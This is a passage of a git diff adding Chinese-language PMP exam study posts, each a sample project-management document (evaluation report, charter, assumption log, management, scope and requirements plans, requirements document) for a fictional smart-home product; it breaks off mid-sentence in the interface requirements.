**智能控制设备**：需选择具备高速处理器、高度集成的设备作为控制中心，支持多种通信协议，确保与各类智能家居设备的兼容性。 + - **传感器选择**：传感器需具备高可靠性和低误差率，能够长期工作并提供准确的数据采集。烟雾、门窗、温湿度传感器需选择耐用、环境适应性强的产品。 + - **电源管理系统**：智能家居设备大多为无线设备，需考虑低功耗设计以延长设备的使用寿命。选择支持智能电源管理的模块，确保在不使用时设备自动进入低功耗模式。 +- 软件平台选择： + - **操作系统**：为智能控制中心选择一款轻量级的操作系统（如Linux或RTOS），保证系统的响应速度和稳定性。 + - **控制平台开发**：自研的智能控制平台需具备高度模块化的设计，支持未来的功能扩展和系统升级。通过开放API，确保系统能够与第三方设备无缝对接。 + - **移动端应用开发**：基于Android和iOS平台开发用户应用，支持实时控制、场景设置、能耗监控等功能。 + +### 5. 网络物理布局设计 + +网络布局设计是确保智能家居设备稳定通信的基础，物理布局则影响设备的运行环境。 + +- 家庭网络布局： + - **无线网络设计**：大部分智能家居设备通过Wi-Fi或Zigbee通信，因此家庭中的无线网络覆盖需全面考虑。采用双频无线路由器，确保家庭每个区域的无线信号覆盖良好。对于较大的住宅，可以通过安装无线扩展器或Mesh网络确保信号强度。 + - **有线网络设计**：部分设备（如网络摄像头、家庭媒体中心）需要更高的稳定性和带宽，需通过有线连接方式实现。网络布线时应隐藏在墙体或地板下，避免破坏家庭美观。 +- 物理设备布局： + - **控制中心布局**：智能控制中心作为核心设备，需放置在信号较强的房间中央位置，避免设备过多隔墙导致信号衰减。 + - **传感器布局**：传感器（如门窗传感器、烟雾报警器等）需合理布置在门窗、厨房等重要位置，确保异常情况能及时检测。 + - **摄像头布局**：摄像头需安装在家庭的安全薄弱环节（如门口、窗户外侧），确保能够覆盖所有关键监控区域。 + +### 6. 投资、成本估算与资金筹措 + +项目投资包括固定资产投资、研发投入、生产成本和市场推广费用。 + +- **固定资产投资**：包括设备采购、厂房租赁、研发中心建设等费用。预计投入4000万元，用于购买生产设备、智能控制中心开发硬件、测试设备等。 +- **研发投入**：智能家居系统的软硬件开发是项目的主要研发成本，预计投入2500万元，用于软件开发、硬件设计、系统测试等。 +- **生产成本**：根据预计年产量10万套智能家居系统，生产成本包括原材料采购、生产线运营等，初步估算为2亿元。 +- **市场推广费用**：市场推广费用约5000万元，包括广告宣传、渠道建设、线下体验店投入等。 +- **资金筹措**：项目的资金来源计划通过公司自有资金、风险投资和银行贷款组合而成。公司自有资金预计投入5000万元，风险投资计划融资1亿元，剩余资金通过银行贷款或政府补贴进行补足。 + +### 7. 经济评价 + +通过投资回报率（ROI）、内部收益率（IRR）等财务指标，评估项目的经济可行性。 + +- **投资回报率**：根据市场预测和成本估算，项目的年销售收入预计为10亿元，净利润率为20%。投资回报率（ROI）预计为25%。 +- **内部收益率（IRR）**：项目的IRR预计为18%，在5年内能够回收全部投资。项目的经济回报较为理想，具有较高的投资吸引力。 diff --git a/_posts/2024-09-30-659-per.md b/_posts/2024-09-30-659-per.md new file mode 100644 index 0000000..0e8883e --- /dev/null +++ b/_posts/2024-09-30-659-per.md @@ -0,0 +1,116 @@ +--- +layout: post +title: 项目评估报告 +pid: 659 +tags: [pmp, 高项] +--- + +项目评估报告 - Project Evaluation Report 或 Project Assessment Report + + + +## 项目评估报告 + +### 1. 项目与组织概况评估 + +项目与组织的概况评估是为了全面了解项目的背景、公司组织结构以及企业的综合能力，确保项目具备成功实施的基础。 + +- **公司背景**：公司是国内领先的智能家居系统解决方案提供商，成立于2015年，主要致力于开发智能控制、物联网技术及家庭自动化产品，拥有丰富的研发经验和市场推广能力。 +- **组织结构**：项目实施由专门的项目管理团队负责，项目团队包括项目经理、技术负责人、产品经理、供应链负责人、市场负责人等。公司内部各部门将协同合作，从技术研发到市场推广全方位支持项目进展。 +- **资源与能力**：公司拥有先进的研发设备、专业的研发人员和生产基地，具备自主创新能力。公司与多家知名供应商建立了长期合作关系，具备完善的供应链管理能力。此外，公司拥有丰富的销售网络和品牌影响力，能够快速推动项目产品进入市场。 + +### 2. 项目建设的必要性评估 + +评估项目建设的必要性是为了验证项目在技术、市场和社会上的必然需求，确保项目的投资合理性。 + +- **技术发展趋势**：智能家居技术已成为物联网和人工智能技术的重要应用领域。随着5G技术、边缘计算、云计算等技术的快速发展，智能家居系统的普及将大大加速。因此，开发先进、智能的家居控制系统符合技术发展趋势。 +- **市场需求驱动**：随着消费者对生活质量、便利性和安全性的要求日益提高，智能家居市场需求日益增长。项目所开发的智能家居系统，能够满足市场对家庭自动化、安全监控、节能环保的需求。 +- **政策支持**：政府政策对智能制造、物联网技术和智能家居产业的发展给予了大量支持，项目符合国家产业升级战略，具备政策扶持优势。 + +### 3. 项目建设规模评估 + +项目建设规模需根据市场需求、技术能力和公司现有资源来进行合理规划。 + +- **项目设计规模**：项目计划建设一个年产量为10万套的智能家居系统生产线，覆盖智能家居设备的研发、生产和销售。项目研发中心设立在技术高地，生产线分布在产业集中区域，以降低物流成本。 +- **生产线规模**：生产线将包括智能控制中心、传感器、通信模块、终端设备的组装生产。生产线的规模设计根据未来5年的市场需求增长趋势而定，具备一定的扩展能力，以应对市场需求的突增。 + +### 4. 资源、配件、燃料及公用设施条件评估 + +评估项目建设过程中所需的资源和配件供应情况，确保项目所需的各项物资能够得到充分保障。 + +- **资源供应情况**：项目所需的关键资源包括处理器、传感器、通信模块等核心硬件。目前公司已与国内外多个知名供应商签订了长期供货协议，确保了项目硬件的稳定供应。燃料需求主要是生产过程中的电力需求，所在工业园区的电力供应稳定，能够满足项目的需求。 +- **公用设施条件**：项目所在地的基础设施完善，供电、供水、道路交通及通讯设施齐全。园区内还设有消防设施和应急设备，确保项目在安全生产方面具备充分保障。 + +### 5. 网络物理布局条件和方案评估 + +网络和物理布局直接影响到项目的生产运营效率和产品性能。 + +- **生产线布局**：生产线布局将采用流水线式设计，分为核心硬件生产区、设备测试区、包装与物流区，确保产品生产的连贯性和高效性。智能生产管理系统将监控整个生产过程，提高生产效率并减少错误率。 +- **网络架构评估**：公司内部采用高效的企业网络系统，支持远程协作和数据共享。物联网平台将与生产设备和云服务平台无缝连接，实现对生产设备的实时监控和数据分析。 + +### 6. 技术和设备方案评估 + +- **技术评估**：智能家居项目采用了物联网、人工智能、大数据分析等前沿技术，技术方案成熟，具备较高的创新性和市场竞争力。控制中心基于最新的ARM架构芯片，传感器设备采用高精度传感技术，确保数据采集的准确性。 +- **设备评估**：生产设备包括全自动装配线、智能测试设备、质量监控系统等，设备性能稳定、操作便捷，能够保证生产效率和产品质量。公司已经与设备供应商签订了采购协议，确保设备能够按时到位。 + +### 7. 信息安全评估 + +智能家居系统涉及用户隐私数据的采集和存储，因此信息安全至关重要。 + +- **数据加密与安全机制**：项目采用了多重加密机制，包括AES-256、SSL/TLS加密协议等，确保用户数据在传输和存储过程中的安全性。所有设备的通信均经过身份验证，以防止恶意攻击和非法入侵。 +- **隐私保护策略**：公司严格遵守数据隐私保护法规（如GDPR、网络安全法等），在系统设计中内置隐私保护机制，用户能够对数据采集和使用进行自主管理，确保隐私数据不被滥用。 + +### 8. 安装工程标准评估 + +安装工程标准需符合相关的国家标准和行业规范，确保设备的安全和性能。 + +- **标准化安装流程**：项目将制定详细的设备安装规范和操作手册，所有安装人员需经过专业培训，确保设备的正确安装与调试。设备安装后需经过严格的测试，确保系统功能正常。 +- **工程安全标准**：智能家居设备的安装需符合国家电气设备安装标准，所有设备的电源连接、信号传输和设备布线都需经过安全检测，确保安全性和可靠性。 + +### 9. 实施进度评估 + +实施进度评估是确保项目在计划时间内顺利推进的重要依据。 + +- **项目时间表**：项目将分为四个阶段实施，分别是：项目启动与规划（3个月）、设备采购与调试（6个月）、生产线建设与测试（6个月）、产品上市与推广（3个月）。每个阶段都有明确的时间节点和目标。 +- **风险缓解措施**：项目组设立了应急响应机制，若在实施过程中遇到技术问题或供应链延误等风险，将及时启动备选方案，确保项目进度不受影响。 + +### 10. 项目组织、劳动定员和人员培训计划评估 + +- **组织架构**：项目组设有项目经理、研发团队、生产团队、市场团队等，项目的实施采用矩阵式管理模式，确保各部门协同作战，资源有效整合。 +- **劳动定员**：项目预计需配备200名员工，主要包括研发人员、生产操作工、质量检测员等。员工需具备相应的技术能力和经验，公司将提供必要的培训。 +- **人员培训**：为确保设备操作和系统维护的专业性，公司将组织定期的技能培训和考核，特别是对新设备和技术的掌握。 + +### 11. 投资估算和资金筹措 + +项目的资金需求较大，资金筹措方式需合理规划，以确保资金的顺利到位。 + +- **投资估算**：项目总投资估算为5亿元，其中包括固定资产投资2.5亿元，研发费用1亿元，生产成本1.5亿元。资金使用计划将按阶段进行，确保资金利用效率。 +- **资金筹措**：项目资金将通过自有资金、银行贷款、风险投资等渠道筹措，公司计划自筹资金2亿元，银行贷款1亿元，风险投资2亿元。 + +### 12. 项目的财务效益评估 + +财务效益评估是项目可行性的关键指标，重点评估项目的利润率、回报率和投资风险。 + +- **利润预测**：项目的年销售收入预计为10亿元，净利润为2亿元，净利润率为20%。项目的盈亏平衡点预计在销售收入达到6亿元时实现。 +- **投资回报率**：根据投资估算和利润预测，项目的投资回报率（ROI）预计为30%，内部收益率（IRR）为18%，回收期为5年。 + +### 13. 国民经济效益评估 + +项目不仅带来经济收益，也对国民经济发展产生积极影响。 + +- **技术带动效应**：项目的实施将带动物联网、人工智能、大数据等相关技术的发展，推动国内智能家居产业的创新与升级。 +- **就业促进**：项目预计直接创造200个就业岗位，间接带动上下游产业链相关岗位的增长，有助于提高就业率。 + +### 14. 社会效益评估 + +项目的社会效益主要体现在智能家居对生活品质的提升以及节能环保的贡献上。 + +- **生活品质提升**：智能家居系统能够提升用户生活的便利性、安全性和舒适性，有助于提高家庭生活质量。 +- **节能环保**：智能家居系统能够实现对家居设备的智能控制，减少能源浪费，具有较高的节能效果，符合绿色环保的发展趋势。 + +### 15. 项目风险评估：盈亏平衡分析、敏感性分析 + +项目风险评估是确保项目能够应对市场变化和技术挑战的重要手段。 + +- **盈亏平衡分析**：根据项目的销售预测，盈亏平衡点为年销售额6亿元，若市场需求出现波动，销售额下降超过30%时，项目将面临亏损风险。 +- **敏感性分析**：项目的敏感性分析重点评估了市场需求、原材料价格波动、技术风险等因素对项目利润的影响。若原材料价格上涨10%，项目利润率将下降2%；若市场需求下降20%，项目的净利润率将下降5%。 diff --git a/_posts/2024-10-02-660-pc.md b/_posts/2024-10-02-660-pc.md new file mode 100644 index 0000000..d05da59 --- /dev/null +++ b/_posts/2024-10-02-660-pc.md @@ -0,0 +1,101 @@ +--- +layout: post +title: 项目章程 +pid: 660 +tags: [pmp, 高项] +--- + +项目章程 - Project Charter + + + +## 项目章程 + +### 1. 项目目的 + +本项目旨在开发和推出智能家居系统，涵盖智能安防、智能照明和家居控制中心三个主要模块。项目的总体目的是通过技术创新和智能化设计，提高家庭安全、节能和生活便利性，推动市场渗透并提升公司在智能家居行业的市场份额。 + +### 2. 可测量的项目目标和相关的成功标准 + +- **市场渗透率**：项目完成后，产品的市场渗透率需达到目标市场的10%。 +- **销售收入**：项目第一年销售额达到10亿元，第三年达到25亿元。 +- **用户满意度**：产品的用户满意度需达到80%以上，通过问卷调查及客户反馈来评估。 +- **项目进度**：所有阶段性目标必须在规定时间内完成，延期不超过5%。 +- **质量标准**：所有产品需符合ISO 9001质量管理标准，并通过第三方质量认证机构的审核。 + +### 3. 高层级需求、高层级项目描述、边界定义及主要可交付成果 + +- 高层级需求： + - 用户要求产品具备稳定的远程控制功能。 + - 确保智能家居系统与其他常见家用电器兼容。 +- **高层级项目描述**： 本项目包括智能安防系统、智能照明系统和家居控制中心的研发、生产和市场推广。项目需建立产品的技术框架、生产线、测试系统，并进行市场推广。 +- **边界定义**： 项目不涉及第三方家庭电器的生产与销售，不负责客户安装与后期维护，相关服务将由合作方提供。 +- 主要可交付成果： + - 完整的智能家居产品解决方案，包括硬件、软件及移动应用。 + - 成立智能家居生产线并完成产品量产。 + - 产品推广与市场销售策略的制定及实施。 + +### 4. 整体项目风险 + +- **技术风险**：新技术集成失败的可能性；解决方案需与现有家居设备兼容，技术难度较大。 +- **市场风险**：市场需求的波动，竞品的激烈竞争，可能导致销售预期不达标。 +- **资金风险**：银行贷款和风投资金到位时间的不确定性。 +- **法规风险**：智能家居产品需符合国家安全及隐私保护法律法规，若政策变动，项目推进可能受阻。 + +### 5. 总体里程碑进度计划 + +- **2023年1月**：项目启动，组建项目团队。 +- **2023年3月**：完成市场调研与需求分析，初步设计方案确定。 +- **2023年6月**：完成产品研发，进入测试阶段。 +- **2023年9月**：建立生产线并开始产品量产。 +- **2024年1月**：产品投放市场，启动推广活动。 +- **2024年3月**：第一季度销售评估与产品优化。 +- **2024年12月**：完成年度销售目标，并开展总结评估。 + +### 6. 预先批准的财务资源 + +- 总投资额：5亿元人民币 + - **设备采购**：3500万元 + - **人力资源**：2000万元/年 + - **研发费用**：3000万元 + - **营销推广**：1000万元 + - **流动资金**：1亿元 + - **风险预备金**：500万元 + +### 7. 关键干系人名单 + +- **项目发起人**：XXX公司董事会 +- **项目经理**：李明（负责项目的全面管理） +- **研发负责人**：张伟（负责产品研发） +- **市场负责人**：陈芳（负责市场推广与销售） +- **生产负责人**：王强（负责生产线建设与管理） +- **质量控制负责人**：赵丽（负责产品质量监督与管理） +- **投资方**：XXX风投公司、XXX银行 + +### 8. 项目审批要求 + +- **项目成功标准**：达到设定的市场渗透率、销售目标和客户满意度目标；所有产品通过质量认证并获得市场认可。 +- **项目评审**：由项目管理办公室（PMO）及公司高层定期评审项目进度。 +- **项目批准与签署**：项目经理向董事会提交最终的项目总结报告，由董事会主席和项目发起人签署项目结束文件。 + +### 9. 项目退出标准 + +- **项目关闭条件**：项目达到所有里程碑并完成最终交付；或因市场、资金、技术等不可抗力因素导致项目无法继续推进，经过干系人评审同意后方可关闭。 +- **项目取消条件**：如果市场需求重大变化，或项目失败的风险超过容忍度，并经由董事会批准，可中止项目。 + +### 10. 委派的项目经理及其职责和职权 + +- **项目经理**：李明 +- 职责： + - 制定项目计划、跟踪项目进度、控制预算和资源分配。 + - 领导项目团队，并确保各个部门的协调和合作。 + - 及时向项目发起人和关键干系人汇报项目进展。 + - 负责项目的风险管理，及时采取应对措施。 +- 职权： + - 有权分配项目资源和预算，管理项目团队。 + - 有权在预算范围内做出投资和采购决策。 + +### 11. 发起人或其他批准项目章程的人员的姓名和职权 + +- **项目发起人**：张杰，公司董事长，全面负责项目的最终审批和资源调配。 +- **项目章程批准人**：李强，公司CEO，负责项目章程的最终签署和项目启动。 diff --git a/_posts/2024-10-02-661-al.md b/_posts/2024-10-02-661-al.md new file mode 100644 index 0000000..ff84332 --- /dev/null +++ b/_posts/2024-10-02-661-al.md @@ -0,0 +1,30 @@ +--- +layout: post +title: 假设日志 +pid: 661 +tags: [pmp, 高项] +--- + +假设日志 - Assumption Log + + + +## 项目假设日志 + +| **编号** | **假设条件/制约因素** | **相关项目阶段** | **影响范围** | **验证/确认方法** | **潜在风险** | **应对措施** | +| -------- | ------------------------------------------------------------ | ------------------- | ------------------ | ------------------------------ | ---------------------------------------------------- | ------------------------------------------------------ | +| 1 | 市场对智能家居产品的需求将在未来5年内保持持续增长，预计每年增长8%。 | 项目启动/市场预测 | 市场需求、销售目标 | 通过市场调研报告、行业分析确认 | 如果市场需求下降，销售目标可能无法实现 | 持续进行市场监控，并根据需求波动调整产品功能和价格策略 | +| 2 | 项目开发所需的技术可行，且市场上现有技术能够满足智能家居产品的需求。 | 可行性研究 | 技术开发、设备选择 | 技术调研和咨询专家确认 | 如果技术发展滞后或不适配，可能导致开发延迟或成本增加 | 预留技术替代方案，保持与技术供应商的沟通 | +| 3 | 项目融资能够按计划到位，银行贷款和风险投资将按时投入。 | 项目启动/财务计划 | 项目资金、进度安排 | 通过签订融资合同和确认资金来源 | 融资延迟或资金不足可能导致项目停滞或进度延期 | 建立备用资金渠道，提前与投资方沟通应急预案 | +| 4 | 供应链稳定，主要部件供应商能够按时交付符合质量标准的设备。 | 项目执行/设备投入 | 生产进度、产品质量 | 通过供应商合同、质量检验 | 供应链中断或部件短缺可能导致生产延迟 | 与多个供应商合作，确保供应链冗余 | +| 5 | 项目团队成员具备完成项目所需的技能和经验，且项目期间不会有人员流失。 | 项目启动/资源规划 | 团队建设、任务分配 | 通过内部资源评估、培训计划 | 团队成员不足或缺乏技能可能影响项目进度 | 提供额外培训机会，并预留人员替补方案 | +| 6 | 项目过程中，国家政策和法规不会发生重大变化，特别是与信息安全和用户隐私相关的法律。 | 项目启动/风险评估 | 项目合规性 | 通过政策研究和法律顾问咨询 | 法规变化可能导致项目重新设计或增加合规成本 | 建立合规监控机制，随时调整项目设计以适应新政策 | +| 7 | 所有主要干系人对项目目标和范围的理解一致，并将在项目过程中提供必要的支持。 | 项目启动/干系人管理 | 项目推进、资源协调 | 通过干系人沟通、会议记录 | 干系人支持不足可能导致资源和决策迟滞 | 建立定期沟通机制，确保干系人支持的持续性 | +| 8 | 智能家居产品的生产设备可以在预定的时间内安装和调试，且生产线符合质量要求。 | 项目执行/设备安装 | 生产进度、产品质量 | 通过项目计划与供应商协商 | 设备安装延误或生产线不达标可能影响产品交付 | 提前进行设备验收测试，留有足够的安装和调试时间 | +| 9 | 项目的初期推广和营销活动能够覆盖目标市场，带动足够的销售转化率。 | 项目执行/市场推广 | 市场渗透、销售目标 | 通过市场分析、推广效果评估 | 如果营销效果不佳，可能导致市场渗透率低于预期 | 制定多元化的市场推广策略，灵活调整广告投放 | +| 10 | 项目将在计划时间内完成所有里程碑，进度延迟不会超过5%。 | 项目执行/进度控制 | 项目总体进度 | 通过进度跟踪与报告 | 不可预见的延误或干扰可能导致进度偏差 | 建立详细的进度控制和反馈机制，预留应急时间 | +| 11 | 项目最终用户将接受新技术，且愿意为其支付目标价格。 | 项目执行/市场验证 | 产品定价、销售策略 | 通过用户测试与市场反馈 | 用户接受度低可能影响产品销售和品牌声誉 | 在开发阶段进行用户参与测试，及时调整功能和定价策略 | +| 12 | 智能家居产品的集成能与其他主流家庭设备无缝兼容，确保用户体验良好。 | 项目执行/技术开发 | 产品功能、用户体验 | 通过技术测试与认证 | 集成失败或兼容性问题可能导致用户流失 | 提前测试不同品牌和型号的兼容性，优化技术方案 | + + + diff --git a/_posts/2024-10-02-662-pmp.md b/_posts/2024-10-02-662-pmp.md new file mode 100644 index 0000000..81f1d97 --- /dev/null +++ b/_posts/2024-10-02-662-pmp.md @@ -0,0 +1,126 @@ +--- +layout: post +title: 项目管理计划 +pid: 662 +tags: [pmp, 高项] +--- + +项目管理计划 - Project Management Plan + +## 项目管理计划 + +### 1. 项目概述 + +项目名称：智能家居产品开发项目 +项目经理：李明 +项目启动日期：2024年10月 +预计完成日期：2025年12月 +项目目标：开发并推出一款智能家居控制系统，集成语音控制、安全监控和能源管理功能，满足市场对智能家居的需求，目标年销售额达到5000万元。 + +### 2. 子管理计划 + +#### 2.1 范围管理计划 + +- **目标**：确保项目交付符合范围定义，包括所有项目可交付成果和工作的边界。 +- **范围界定**：产品设计、开发、测试、生产、市场推广等一系列活动。 +- **范围变更控制**：由变更控制委员会（CCB）批准范围变更，记录在变更日志中。 + +#### 2.2 需求管理计划 + +- **需求收集方式**：通过用户访谈、市场调研和竞品分析，收集项目相关需求。 +- **需求跟踪**：需求将通过需求矩阵进行跟踪，从需求到设计、测试和交付的整个过程均有记录。 + +#### 2.3 进度管理计划 + +- 关键里程碑： + - 项目启动：2024年10月 + - 原型开发完成：2025年3月 + - 生产设备采购：2025年7月 + - 产品正式发布：2025年12月 +- **进度控制**：通过项目管理软件（如Microsoft Project）跟踪每个任务的进展，定期召开项目进度会议。 + +#### 2.4 成本管理计划 + +- **预算估算**：项目总预算为1200万元，其中开发成本600万元，生产成本300万元，市场推广300万元。 +- **成本控制**：每月跟踪成本消耗，超过预算的变更需由项目发起人批准。 + +#### 2.5 质量管理计划 + +- **质量标准**：产品需符合ISO 9001质量管理标准，并通过第三方测试认证。 +- **质量控制方法**：使用测试计划和质量审计确保产品功能和性能达标。 + +#### 2.6 资源管理计划 + +- **人力资源计划**：项目团队包括产品经理、软件工程师、硬件工程师、测试人员、市场专员等，共计15人。 +- **资源分配**：每个项目阶段的资源需求都将在项目时间表中进行分配，确保各项工作顺利进行。 + +#### 2.7 沟通管理计划 + +- **沟通目标**：确保所有干系人清楚项目进展，了解变更和风险情况。 +- **沟通渠道**：每周一次项目状态会议，月度报告，在线文档共享平台（如Confluence）。 + +#### 2.8 风险管理计划 + +- **风险识别**：通过头脑风暴、专家访谈等方式识别项目的潜在风险。 +- **风险应对措施**：针对每个风险制定应对策略，包括规避、缓解、转移或接受风险。 + +#### 2.9 采购管理计划 + +- **采购需求**：包括生产设备、原材料、外包服务（如产品测试）。 +- **供应商选择**：通过公开招标或推荐供应商，选择最具性价比的方案。 + +#### 2.10 干系人参与计划 + +- **干系人识别**：项目发起人、团队成员、供应商、客户、市场推广团队等。 +- **干系人参与方式**：根据干系人的影响力和兴趣制定沟通策略，确保他们的期望与项目目标一致。 + +### 3. 基准 + +#### 3.1 范围基准 + +- **范围说明**：项目范围包括智能家居控制系统的设计、开发、测试、生产及交付，不包括配套硬件的外包开发。 + +#### 3.2 进度基准 + +- **里程碑时间表**：参考进度管理计划中列出的时间节点，进度延误不得超过10%。 + +#### 3.3 成本基准 + +- **预算分配**：1200万元项目预算，超过预算的支出需由发起人批准。 + +### 4. 其他组件 + +#### 4.1 变更管理计划 + +- **变更流程**：项目变更需提交给变更控制委员会（CCB），CCB审核变更影响并做出决策，所有变更记录在变更日志中。 + +#### 4.2 配置管理计划 + +- **配置项**：包括产品设计文档、代码版本、测试报告等，确保项目过程中所有关键文档的版本控制。 +- **工具**：使用Git进行代码版本管理，使用Jira进行任务和问题管理。 + +#### 4.3 绩效测量基准 + +- **关键绩效指标（KPI）**：按时交付率、预算控制、产品质量、客户满意度等。 +- **绩效审查频率**：每月召开一次项目审查会议，检查是否达到绩效目标。 + +#### 4.4 项目生命周期 + +- **项目阶段**：启动、规划、执行、监控与收尾。 +- **开发方法**：敏捷开发方法与瀑布式开发相结合，按里程碑进行阶段验收。 + +#### 4.5 管理审查 + +- **审查频率**：每季度进行一次高级管理层的项目审查会议，审查项目进展、预算使用和风险控制。 +- **审查内容**：范围、进度、成本、质量、风险的综合评估，确保项目按计划推进。 + +------ + +### 5. 项目管理计划的审批 + +项目管理计划需要由以下人员签署并认可： + +- 项目经理：李明 +- 项目发起人：王总 +- 高级管理层代表：刘副总 + diff --git a/_posts/2024-10-05-663-smp.md b/_posts/2024-10-05-663-smp.md new file mode 100644 index 0000000..73f9972 --- /dev/null +++ b/_posts/2024-10-05-663-smp.md @@ -0,0 +1,64 @@ +--- +layout: post +title: 范围管理计划 +pid: 663 +tags: [pmp, 高项] +--- + +范围管理计划：Scope Management Plan + +### 范围管理计划 + +**项目名称**：智能家居产品开发项目 +**项目经理**：李明 +**日期**：2024年10月 + +#### 1. 目的 + +范围管理计划用于确保项目的范围得到明确定义、记录、确认，并加以控制，防止范围蔓延。它包括范围的规划、定义、验证和控制步骤。 + +#### 2. 范围规划 + +通过头脑风暴、历史项目参考、市场调研等方式，初步定义项目范围，确保范围涵盖了所有必要的工作活动。 + +#### 3. 范围定义 + +- **项目目标**：开发一款智能家居控制系统，提供智能语音控制、安全监控、能源管理等功能，满足目标市场的需求。 +- 项目可交付成果： + - 系统需求文档（SRS） + - 产品原型 + - 集成硬件和软件的完整产品 + - 用户手册及培训材料 + - 质量测试报告 + - 市场推广计划和销售方案 +- 排除项：不包括以下内容： + - 硬件设计及制造由第三方承包商负责 + - 项目后的售后服务与支持 + +#### 4. 范围分解（WBS） + +- 一级工作包： + 1. 系统需求分析与设计 + 2. 软件开发 + 3. 硬件集成 + 4. 测试与验证 + 5. 产品发布与市场推广 +- **二级工作包**： + 1.1 市场需求调研 + 1.2 系统架构设计 + 2.1 用户界面开发 + 2.2 数据处理模块开发 + 3.1 硬件选型与采购 + 4.1 产品功能测试 + 4.2 性能压力测试 + 5.1 营销材料准备 + +#### 5. 范围验证 + +- **验收标准**：每个可交付成果通过质量检测，并符合系统需求说明书（SRS）的功能描述。 +- **参与方**：项目经理、产品负责人、客户代表。 + +#### 6. 范围控制 + +- **变更控制流程**：项目范围的任何变更需提交变更申请，经过变更控制委员会（CCB）批准后方可实施。每次变更都需记录，并评估其对进度、成本、资源的影响。 +- **工具与方法**：项目管理软件（如Jira、MS Project）将用于跟踪项目进度和范围变更，确保所有变更得到管理和监控。 diff --git a/_posts/2024-10-05-664-rmp.md b/_posts/2024-10-05-664-rmp.md new file mode 100644 index 0000000..1230b80 --- /dev/null +++ b/_posts/2024-10-05-664-rmp.md @@ -0,0 +1,55 @@ +--- +layout: post +title: 需求管理计划 +pid: 664 +tags: [pmp, 高项] +--- + +需求管理计划：Requirement Management Plan + +### 需求管理计划 + +**项目名称**：智能家居产品开发项目 +**项目经理**：李明 +**日期**：2024年10月 + +#### 1. 目的 + +需求管理计划用于确保所有项目需求得以识别、记录、分析、优先排序、跟踪和验证，避免遗漏或误解需求，并确保需求的变更得到适当管理。 + +#### 2. 需求收集 + +- **收集方法**： + 1. **市场调研**：通过用户访谈、调查问卷、竞争产品分析，获取用户的功能需求和性能期望。 + 2. **利益相关者会议**：邀请主要干系人（包括项目发起人、客户代表、技术团队）参与讨论，明确项目的关键需求。 + 3. **头脑风暴与专家访谈**：与行业专家、产品设计人员进行深入访谈，以确定前沿技术需求。 +- **工具与技术**： + - 需求管理软件（如Jira）用于记录和跟踪需求。 + - 需求矩阵（Traceability Matrix）用于追踪需求与项目工作之间的关联。 + +#### 3. 需求分析 + +- **需求分类**： + 1. **功能需求**：包括智能语音控制、家庭安全监控、能源管理等核心功能。 + 2. **非功能需求**：系统的响应时间要求、可用性、兼容性及安全性标准。 + 3. **业务需求**：项目应支持1000个以上的家庭用户，并兼容多平台操作系统。 +- **需求优先级**： + - 高优先级需求：必须实现的核心功能，如语音控制与安全监控。 + - 中优先级需求：如能源管理和可视化监控功能，可推迟开发。 + - 低优先级需求：未来可能增加的功能，如智能家居设备的自动维护。 + +#### 4. 需求跟踪 + +- **需求追踪矩阵**：通过需求追踪矩阵，将需求与项目可交付成果（如设计文档、测试报告）关联，以确保所有需求得到满足。矩阵包括需求编号、需求描述、对应的设计文档、开发任务和测试方案。 + +#### 5. 需求验证 + +- 验证方式： + 1. **评审**：在每个开发阶段对需求进行回顾与确认。 + 2. **测试**：通过单元测试、集成测试和用户验收测试验证需求的实现情况。 + 3. **用户测试**：邀请部分目标用户参与产品测试，收集反馈并调整需求。 + +#### 6. 需求变更管理 + +- **变更流程**：项目进行过程中，任何新需求或需求变更需经过变更控制流程，由变更控制委员会（CCB）审批，确认其可行性和影响。 +- **文档记录**：所有需求变更将记录在需求变更日志中，标注变更内容、变更原因、审批情况及实施计划。 diff --git a/_posts/2024-10-05-665-rd.md b/_posts/2024-10-05-665-rd.md new file mode 100644 index 0000000..d34919c --- /dev/null +++ b/_posts/2024-10-05-665-rd.md @@ -0,0 +1,58 @@ +--- +layout: post +title: 需求文件 +pid: 665 +tags: [pmp, 高项] +--- + + + +需求文件 - Requirement Document + +### 需求文件 + +**项目名称**：智能家居产品开发项目 +**项目经理**：李明 +**日期**：2024年10月 + +#### 1. 引言 + +本需求文件描述了智能家居控制系统的需求，包括功能需求、非功能需求、业务需求以及所有利益相关方的期望。项目目标是为客户提供一款基于智能语音控制、家庭安全监控、能源管理等功能的智能家居系统。 + +#### 2. 业务需求 + +智能家居控制系统的业务目标如下： + +- 支持1000+家庭用户使用，系统要具备高稳定性和安全性。 +- 增强用户的家庭安全感，提供实时监控与警报功能。 +- 提高用户生活便捷性，支持语音控制家居设备。 +- 节能环保，优化能源消耗管理，帮助用户节省电力和水资源。 + +#### 3. 功能需求 + +| 编号 | 功能需求描述 | 优先级 | 验收标准 | +| ----- | ------------------------------------------------------------ | ------ | ------------------------------------------------------------ | +| F-001 | 系统需提供智能语音控制功能，用户能够通过语音指令控制家用电器（如灯光、空调等）。 | 高 | 用户通过语音助手能无误启动、关闭、调节设备。 | +| F-002 | 系统需提供家庭安全监控功能，用户能通过手机应用查看实时摄像头画面并接收异常情况警报。 | 高 | 用户可接收并查看所有安装的安全摄像头画面，且在检测到入侵时收到警报通知。 | +| F-003 | 能源管理功能，系统能够监控和记录家庭的电力、水资源消耗情况，并生成节能建议。 | 中 | 用户可查看能源使用情况报告，报告涵盖每天/每月消耗情况，并给出节能建议。 | +| F-004 | 用户可以通过手机应用远程管理和控制家用电器，包括开关、定时任务设定等。 | 中 | 用户可远程启动、关闭家电设备，并成功设置定时任务。 | + +#### 4. 非功能需求 + +| 编号 | 非功能需求描述 | 优先级 | 验收标准 | +| ------ | ------------------------------------------------------------ | ------ | ------------------------------------------------------ | +| NF-001 | 系统响应时间需小于2秒，即用户发出指令后，系统在2秒内作出反馈。 | 高 | 在用户测试中，指令从发出到系统响应的时间不超过2秒。 | +| NF-002 | 系统需兼容安卓和iOS操作系统，并支持多设备同时登录。 | 高 | 用户测试中，手机应用可同时在多个设备上登录，功能正常。 | +| NF-003 | 系统需具备高安全性，用户数据需加密存储，防止信息泄露。 | 高 | 安全测试显示，用户数据均经过加密存储，外部无法访问。 | + +#### 5. 其他需求 + +- **可维护性**：系统需具有模块化设计，便于后续的功能扩展和维护升级。 +- **可扩展性**：系统能够支持未来新增的设备类型和功能，如智能家居设备的扩展。 +- **用户培训**：需要提供用户使用说明书及在线培训教程，确保用户能轻松上手操作。 + +#### 6. 接口需求 + +- **硬件接口**：需支持与常见的家用电器（如灯光、空调、电视）进行智能互联，通过Wi-Fi或蓝牙连接。 +- **软件接口**：需与现有的语音助手（如Google Assistant、Amazon 